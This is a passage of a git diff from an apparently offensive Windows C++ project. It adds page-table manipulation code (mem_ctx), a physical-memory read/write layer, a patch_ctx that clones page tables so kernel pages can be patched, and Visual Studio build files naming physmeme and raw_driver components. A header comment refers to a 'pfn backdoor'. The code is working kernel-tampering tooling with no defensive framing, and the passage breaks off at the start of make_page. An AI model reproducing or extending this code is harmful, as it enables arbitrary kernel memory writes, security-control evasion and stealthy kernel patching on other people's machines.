|
||||
&pdpte,
|
||||
&entries.pdpt.second,
|
||||
sizeof(pdpte)
|
||||
);
|
||||
return { entries.pdpt.first, pdpte };
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return;
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace)
|
||||
if (hyperspace_entries(entries, addr))
|
||||
k_ctx->wkm(
|
||||
k_ctx->get_virtual(entries.pdpt.first),
|
||||
pdpte
|
||||
);
|
||||
else
|
||||
if (virt_to_phys(entries, addr))
|
||||
write_phys(entries.pdpt.first, pdpte);
|
||||
}
|
||||
|
||||
std::pair<ppml4e, pml4e> mem_ctx::get_pml4e(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
||||
{
|
||||
::pml4e pml4e;
|
||||
memcpy(
|
||||
&pml4e,
|
||||
&entries.pml4.second,
|
||||
sizeof(pml4e)
|
||||
);
|
||||
return { entries.pml4.first, pml4e };
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return;
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace)
|
||||
if (hyperspace_entries(entries, addr))
|
||||
k_ctx->wkm(
|
||||
k_ctx->get_virtual(entries.pml4.first),
|
||||
pml4e
|
||||
);
|
||||
else
|
||||
if (virt_to_phys(entries, addr))
|
||||
write_phys(entries.pml4.first, pml4e);
|
||||
}
|
||||
|
||||
std::pair<void*, void*> mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size || !dirbase)
|
||||
return {};
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
if (size <= PAGE_SIZE - virt_addr.offset)
|
||||
{
|
||||
pt_entries entries;
|
||||
read_phys(
|
||||
buffer,
|
||||
virt_to_phys(entries, addr),
|
||||
size
|
||||
);
|
||||
return {
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
// cut remainder
|
||||
const auto [new_buffer_addr, new_addr] = read_virtual(
|
||||
buffer,
|
||||
addr,
|
||||
PAGE_SIZE - virt_addr.offset
|
||||
);
|
||||
// forward work load
|
||||
return read_virtual(
|
||||
new_buffer_addr,
|
||||
new_addr,
|
||||
size - (PAGE_SIZE - virt_addr.offset)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
std::pair<void*, void*> mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size || !dirbase)
|
||||
return {};
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
if (size <= PAGE_SIZE - virt_addr.offset)
|
||||
{
|
||||
pt_entries entries;
|
||||
write_phys(
|
||||
buffer,
|
||||
virt_to_phys(entries, addr),
|
||||
size
|
||||
);
|
||||
|
||||
return {
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
// cut remainder
|
||||
const auto [new_buffer_addr, new_addr] = write_virtual(
|
||||
buffer,
|
||||
addr,
|
||||
PAGE_SIZE - virt_addr.offset
|
||||
);
|
||||
|
||||
// forward work load
|
||||
return write_virtual(
|
||||
new_buffer_addr,
|
||||
new_addr,
|
||||
size - (PAGE_SIZE - virt_addr.offset)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size)
|
||||
return;
|
||||
|
||||
auto temp_page = set_page(addr);
|
||||
if (temp_page)
|
||||
memcpy(buffer, temp_page, size);
|
||||
}
|
||||
|
||||
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size)
|
||||
return;
|
||||
|
||||
auto temp_page = set_page(addr);
|
||||
if (temp_page)
|
||||
memcpy(temp_page, buffer, size);
|
||||
}
|
||||
|
||||
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
|
||||
{
|
||||
if (!addr || !dirbase)
|
||||
return {};
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
|
||||
//
|
||||
// traverse paging tables
|
||||
//
|
||||
auto pml4e = read_phys<::pml4e>(
|
||||
reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index);
|
||||
|
||||
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
||||
entries.pml4.second = pml4e;
|
||||
|
||||
if (!pml4e.value)
|
||||
return NULL;
|
||||
|
||||
auto pdpte = read_phys<::pdpte>(
|
||||
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
|
||||
|
||||
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
|
||||
entries.pdpt.second = pdpte;
|
||||
|
||||
if (!pdpte.value)
|
||||
return NULL;
|
||||
|
||||
auto pde = read_phys<::pde>(
|
||||
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
|
||||
|
||||
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
|
||||
entries.pd.second = pde;
|
||||
|
||||
if (!pde.value)
|
||||
return NULL;
|
||||
|
||||
auto pte = read_phys<::pte>(
|
||||
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
|
||||
|
||||
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
|
||||
entries.pt.second = pte;
|
||||
|
||||
if (!pte.value)
|
||||
return NULL;
|
||||
|
||||
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
|
||||
}
|
||||
|
||||
unsigned mem_ctx::get_pid() const
|
||||
{
|
||||
return pid;
|
||||
}
|
||||
|
||||
void* mem_ctx::get_dirbase() const
|
||||
{
|
||||
return dirbase;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,119 @@
|
||||
#pragma once
|
||||
#include "../util/nt.hpp"
|
||||
#include "../kernel_ctx/kernel_ctx.h"
|
||||
|
||||
#define FLUSH_TLB Sleep(1)
|
||||
|
||||
struct pt_entries
|
||||
{
|
||||
std::pair<ppml4e, pml4e> pml4;
|
||||
std::pair<ppdpte, pdpte> pdpt;
|
||||
std::pair<ppde, pde> pd;
|
||||
std::pair<ppte, pte> pt;
|
||||
};
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
class mem_ctx
|
||||
{
|
||||
public:
|
||||
explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid);
|
||||
~mem_ctx();
|
||||
|
||||
//
|
||||
// PTE manipulation
|
||||
//
|
||||
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
|
||||
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
|
||||
|
||||
//
|
||||
// PDE manipulation
|
||||
//
|
||||
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
|
||||
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
|
||||
|
||||
//
|
||||
// PDPTE manipulation
|
||||
//
|
||||
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
|
||||
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
|
||||
|
||||
//
|
||||
// PML4E manipulation
|
||||
//
|
||||
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
|
||||
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
|
||||
|
||||
//
|
||||
// gets dirbase (not the PTE or PFN but actual physical address)
|
||||
//
|
||||
void* get_dirbase() const;
|
||||
static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid);
|
||||
|
||||
void read_phys(void* buffer, void* addr, std::size_t size);
|
||||
void write_phys(void* buffer, void* addr, std::size_t size);
|
||||
|
||||
template <class T>
|
||||
T read_phys(void* addr)
|
||||
{
|
||||
if (!addr)
|
||||
return {};
|
||||
T buffer;
|
||||
read_phys((void*)&buffer, addr, sizeof(T));
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
void write_phys(void* addr, const T& data)
|
||||
{
|
||||
if (!addr)
|
||||
return;
|
||||
write_phys((void*)&data, addr, sizeof(T));
|
||||
}
|
||||
|
||||
std::pair<void*, void*> read_virtual(void* buffer, void* addr, std::size_t size);
|
||||
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
|
||||
|
||||
template <class T>
|
||||
T read_virtual(void* addr)
|
||||
{
|
||||
if (!addr)
|
||||
return {};
|
||||
T buffer;
|
||||
read_virtual((void*)&buffer, addr, sizeof(T));
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
void write_virtual(void* addr, const T& data)
|
||||
{
|
||||
write_virtual((void*)&data, addr, sizeof(T));
|
||||
}
|
||||
|
||||
//
|
||||
// linear address translation (not done by hyperspace mappings)
|
||||
//
|
||||
void* virt_to_phys(pt_entries& entries, void* addr);
|
||||
|
||||
//
|
||||
// given an address fill pt entries with physical addresses and entry values.
|
||||
//
|
||||
bool hyperspace_entries(pt_entries& entries, void* addr);
|
||||
|
||||
//
|
||||
// these are used for the pfn backdoor, this will be removed soon
|
||||
//
|
||||
void* set_page(void* addr);
|
||||
void* get_page() const;
|
||||
void page_accessed() const;
|
||||
unsigned get_pid() const;
|
||||
kernel_ctx* k_ctx;
|
||||
private:
|
||||
std::pair<void*, pte> genesis_page;
|
||||
std::pair<ppte, pte> genesis_cursor;
|
||||
void* dirbase;
|
||||
|
||||
unsigned pid;
|
||||
unsigned short page_offset;
|
||||
};
|
||||
}
|
||||
@ -0,0 +1,162 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{d5e350a6-1ffc-466e-81d7-9691d0e58002}</ProjectGuid>
|
||||
<RootNamespace>nasapatch</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kernel_ctx\kernel_ctx.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="mem_ctx\mem_ctx.cpp" />
|
||||
<ClCompile Include="patch_ctx\patch_ctx.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="kernel_ctx\kernel_ctx.h" />
|
||||
<ClInclude Include="loadup.hpp" />
|
||||
<ClInclude Include="mem_ctx\mem_ctx.hpp" />
|
||||
<ClInclude Include="patch_ctx\patch_ctx.hpp" />
|
||||
<ClInclude Include="physmeme\physmeme.hpp" />
|
||||
<ClInclude Include="raw_driver.hpp" />
|
||||
<ClInclude Include="util\hook.hpp" />
|
||||
<ClInclude Include="util\nt.hpp" />
|
||||
<ClInclude Include="util\util.hpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@ -0,0 +1,80 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\kernel_ctx">
|
||||
<UniqueIdentifier>{a64bd891-9c12-4f5a-88f3-b64df79dbb62}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\mem_ctx">
|
||||
<UniqueIdentifier>{2b6b0fd0-527b-4058-b2a8-0456e169c85c}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\physmeme">
|
||||
<UniqueIdentifier>{076cd5ea-f4af-40e7-b061-806ab272282c}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\util">
|
||||
<UniqueIdentifier>{efdecd69-b7b9-4d44-b106-2566baa07d86}</UniqueIdentifier>
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||||
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||||
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||||
<UniqueIdentifier>{4a0efc40-4095-452d-abca-77079306be08}</UniqueIdentifier>
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||||
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||||
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||||
<UniqueIdentifier>{1ce9a6f1-49b4-498f-8794-c63005e49a5e}</UniqueIdentifier>
|
||||
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|
||||
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|
||||
<UniqueIdentifier>{0db2f387-772b-4a72-abb5-4a56e0623722}</UniqueIdentifier>
|
||||
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|
||||
<Filter Include="Header Files\patch_ctx">
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||||
<UniqueIdentifier>{b6bfff55-573d-458f-a91a-383b0d0b9180}</UniqueIdentifier>
|
||||
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|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kernel_ctx\kernel_ctx.cpp">
|
||||
<Filter>Source Files\kernel_ctx</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="mem_ctx\mem_ctx.cpp">
|
||||
<Filter>Source Files\mem_ctx</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="patch_ctx\patch_ctx.cpp">
|
||||
<Filter>Source Files\patch_ctx</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="kernel_ctx\kernel_ctx.h">
|
||||
<Filter>Header Files\kernel_ctx</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="mem_ctx\mem_ctx.hpp">
|
||||
<Filter>Header Files\mem_ctx</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="patch_ctx\patch_ctx.hpp">
|
||||
<Filter>Header Files\patch_ctx</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util\hook.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util\nt.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util\util.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="physmeme\physmeme.hpp">
|
||||
<Filter>Header Files\physmeme</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loadup.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="raw_driver.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@ -0,0 +1,224 @@
|
||||
#include "patch_ctx.hpp"
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
patch_ctx::patch_ctx(nasa::mem_ctx* mem_ctx)
|
||||
:
|
||||
mem_ctx(mem_ctx)
|
||||
{}
|
||||
|
||||
void* patch_ctx::patch(void* kernel_addr)
|
||||
{
|
||||
if (!kernel_addr)
|
||||
return {};
|
||||
|
||||
virt_addr_t kernel_addr_t{ kernel_addr };
|
||||
pt_entries kernel_entries;
|
||||
if (!mem_ctx->hyperspace_entries(kernel_entries, kernel_addr))
|
||||
return {};
|
||||
|
||||
const auto [new_pdpt_phys, new_pdpt_virt] = make_pdpt(kernel_entries, kernel_addr);
|
||||
const auto [new_pd_phys, new_pd_virt] = make_pd(kernel_entries, kernel_addr);
|
||||
const auto [new_pt_phys, new_pt_virt] = make_pt(kernel_entries, kernel_addr);
|
||||
const auto [new_page_phys, new_page_virt] = make_page(kernel_entries, kernel_addr);
|
||||
|
||||
// link pdpte to pd
|
||||
(reinterpret_cast<ppdpte>(new_pdpt_virt) + kernel_addr_t.pdpt_index)->pfn = reinterpret_cast<std::uintptr_t>(new_pd_phys) >> 12;
|
||||
if (kernel_entries.pd.second.page_size)
|
||||
// link pde to new page if its 2mb
|
||||
(reinterpret_cast<ppde>(new_pd_virt) + kernel_addr_t.pd_index)->pfn = reinterpret_cast<std::uintptr_t>(new_page_phys) >> 12;
|
||||
else
|
||||
{
|
||||
// link pde to pt
|
||||
(reinterpret_cast<ppde>(new_pd_virt) + kernel_addr_t.pd_index)->pfn = reinterpret_cast<std::uintptr_t>(new_pt_phys) >> 12;
|
||||
// link pte to page (1kb)
|
||||
(reinterpret_cast<ppte>(new_pt_virt) + kernel_addr_t.pt_index)->pfn = reinterpret_cast<std::uintptr_t>(new_page_phys) >> 12;
|
||||
}
|
||||
|
||||
mapped_pml4e =
|
||||
reinterpret_cast<ppml4e>(
|
||||
mem_ctx->set_page(
|
||||
kernel_entries.pml4.first));
|
||||
|
||||
new_pml4e = kernel_entries.pml4.second;
|
||||
new_pml4e.pfn = reinterpret_cast<std::uintptr_t>(new_pdpt_phys) >> 12;
|
||||
old_pml4e = kernel_entries.pml4.second;
|
||||
return reinterpret_cast<void*>((std::uintptr_t)new_page_virt + kernel_addr_t.offset);
|
||||
}
|
||||
|
||||
std::pair<void*, void*> patch_ctx::make_pdpt(const pt_entries& kernel_entries, void* kernel_addr)
|
||||
{
|
||||
if (!kernel_addr)
|
||||
return {};
|
||||
|
||||
virt_addr_t kernel_addr_t{ kernel_addr };
|
||||
const auto pdpt = reinterpret_cast<ppdpte>(
|
||||
mem_ctx->set_page(reinterpret_cast<void*>(
|
||||
kernel_entries.pml4.second.pfn << 12)));
|
||||
|
||||
const auto new_pdpt =
|
||||
reinterpret_cast<ppdpte>(VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
memset(new_pdpt, NULL, 0x1000);
|
||||
|
||||
//
|
||||
// copy over pdpte's
|
||||
//
|
||||
for (auto idx = 0u; idx < 512; ++idx)
|
||||
*(pdpte*)(new_pdpt + idx) = *(pdpte*)(pdpt + idx);
|
||||
|
||||
//
|
||||
// get physical address of new pdpt
|
||||
//
|
||||
pt_entries new_pdpt_entries;
|
||||
const auto physical_addr =
|
||||
mem_ctx->virt_to_phys(
|
||||
new_pdpt_entries,
|
||||
new_pdpt
|
||||
);
|
||||
|
||||
return { physical_addr, new_pdpt };
|
||||
}
|
||||
|
||||
std::pair<void*, void*> patch_ctx::make_pd(const pt_entries& kernel_entries, void* kernel_addr)
|
||||
{
|
||||
if (!kernel_addr)
|
||||
return {};
|
||||
|
||||
virt_addr_t kernel_addr_t{ kernel_addr };
|
||||
const auto new_pd = reinterpret_cast<ppde>(
|
||||
VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
memset(new_pd, NULL, 0x1000);
|
||||
|
||||
const auto pd = reinterpret_cast<ppde>(
|
||||
mem_ctx->set_page(
|
||||
reinterpret_cast<void*>(
|
||||
kernel_entries.pdpt.second.pfn << 12)));
|
||||
|
||||
//
|
||||
// copy over pde's
|
||||
//
|
||||
for (auto idx = 0u; idx < 512; ++idx)
|
||||
*(::pde*)(new_pd + idx) = *(::pde*)(pd + idx);
|
||||
|
||||
//
|
||||
// get physical address of new pd
|
||||
//
|
||||
pt_entries pd_entries;
|
||||
const auto physical_addr =
|
||||
mem_ctx->virt_to_phys(
|
||||
pd_entries,
|
||||
new_pd
|
||||
);
|
||||
|
||||
return { physical_addr, new_pd };
|
||||
}
|
||||
|
||||
std::pair<void*, void*> patch_ctx::make_pt(const pt_entries& kernel_entries, void* kernel_addr)
|
||||
{
|
||||
if (!kernel_addr || kernel_entries.pd.second.page_size) // if this address is a 2mb mapping.
|
||||
return {};
|
||||
|
||||
virt_addr_t kernel_addr_t{ kernel_addr };
|
||||
const auto new_pt = reinterpret_cast<ppte>(
|
||||
VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
memset(new_pt, NULL, 0x1000);
|
||||
|
||||
const auto pt = reinterpret_cast<ppde>(
|
||||
mem_ctx->set_page(
|
||||
reinterpret_cast<void*>(
|
||||
kernel_entries.pd.second.pfn << 12)));
|
||||
|
||||
//
|
||||
// copy over pte's
|
||||
//
|
||||
for (auto idx = 0u; idx < 512; ++idx)
|
||||
*(::pde*)(new_pt + idx) = *(::pde*)(pt + idx);
|
||||
|
||||
//
|
||||
// get physical address of new pt
|
||||
//
|
||||
pt_entries entries;
|
||||
const auto physical_addr =
|
||||
mem_ctx->virt_to_phys(
|
||||
entries,
|
||||
new_pt
|
||||
);
|
||||
|
||||
return { physical_addr, new_pt };
|
||||
}
|
||||
|
||||
std::pair<void*, void*> patch_ctx::make_page(const pt_entries& kernel_entries, void* kernel_addr)
|
||||
{
|
||||
